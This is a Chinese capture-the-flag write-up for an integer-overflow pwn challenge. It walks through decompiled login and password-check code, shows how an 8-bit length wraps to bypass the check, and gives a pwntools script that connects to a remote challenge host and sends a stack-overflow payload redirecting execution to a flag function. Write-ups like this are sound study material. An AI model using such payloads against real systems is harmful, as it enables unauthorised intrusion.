题目提示整型溢出。首先注意到了有直接读取flag的函数:

main()分析可得知如果v4 == 1,即可调用login()。
login函数的内容如下:
int login()
{
char buf[512]; // [esp+0h] [ebp-228h] BYREF
char s[40]; // [esp+200h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
memset(buf, 0, sizeof(buf));
puts("Please input your username:");
read(0, s, 0x19u);
printf("Hello %s\n", s);
puts("Please input your passwd:");
read(0, buf, 0x199u);
return check_passwd(buf);
}
无溢出。但是buf给的很长,可以读0x199个字节,可以看到最后return check_passwd(buf);,跟进看一下这个函数:
char *__cdecl check_passwd(char *s)
{
char *result; // eax
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(dest, s);
}
return result;
}
密码要求长度大于3小于8,如果满足条件,就执行result = strcpy(dest, s);。dest的长度为0x14,该处存在栈溢出漏洞。但是要想利用它就必须通过条件1。此时涉及到整型溢出的特性:
v3的长度为8,即0000 0000~1111 1111,十进制即0~255。
当给它赋值超过255时,会超出长度,发生高位截断。例如,赋值为257(即1 000 0001),发生高位截断,只保留低位,变成了0000 0001它的值实际为1。
根据这个特性,只要buf的长度在259~264之间即可^^。
from pwn import *
from LibcSearcher import *
elf = ELF('./51ed19eacdea43e3bd67217d08eb8a0e')
local = 0
if local == 1:
io = process('./51ed19eacdea43e3bd67217d08eb8a0e')
else:
io = remote('111.200.241.244',65289)
io.recvuntil("Your choice:")
io.sendline('1')
io.recvuntil("your username:\n")
io.sendline('shawroot')
io.recvuntil("your passwd:\n")
system_addr = 0x804868b
payload = 'a'*0x14+p32(0xdeadbeef)+p32(system_addr)
payload += 'a'*(260-len(payload))
io.sendline(payload)
io.interactive()